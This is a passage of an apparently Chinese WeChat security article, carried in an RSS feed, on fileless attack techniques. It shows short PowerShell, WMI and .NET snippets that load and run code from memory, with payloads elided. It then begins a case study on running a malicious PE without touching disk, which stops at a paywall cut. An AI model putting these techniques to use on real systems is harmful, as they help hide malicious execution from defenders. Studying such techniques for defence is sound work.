0.4);border-radius: 0px;"><span leaf="">PowerShell攻击：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">$code = [System.Convert]::FromBase64String(&#34;...&#34;)</span><span leaf=""><br/></span><span leaf="">[System.Runtime.InteropServices.Marshal]::Copy($code, 0, $ptr, $code.Length)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">WMI攻击：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList &#34;malicious command&#34;</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">.NET内存加载：</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">Assembly asm = Assembly.Load(bytes);</span><span leaf=""><br/></span><span leaf="">asm.GetType(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Program&#34;</span></span><span leaf="">).GetMethod(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;Main&#34;</span></span><span leaf="">).Invoke(</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">null</span></span><span leaf="">, </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">null</span></span><span leaf="">);</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.5 实战案例分析</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.5.1 案例1：内存加载PE执行恶意程序</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">攻击场景：</span></strong><span leaf="">攻击者需要在目标系统上执行恶意PE文件，但不希望文件写入磁盘。</span></p><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="57"></mp-pay-preview-filter></p></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e70a4398&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496612%26idx%3D1%26sn%3Deb8e6cbcc52e32b1a4e921d301b2a5fc">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 26 Mar 2026 08:31:00 +0800</pubDate>
    </item>
  </channel>
</rss>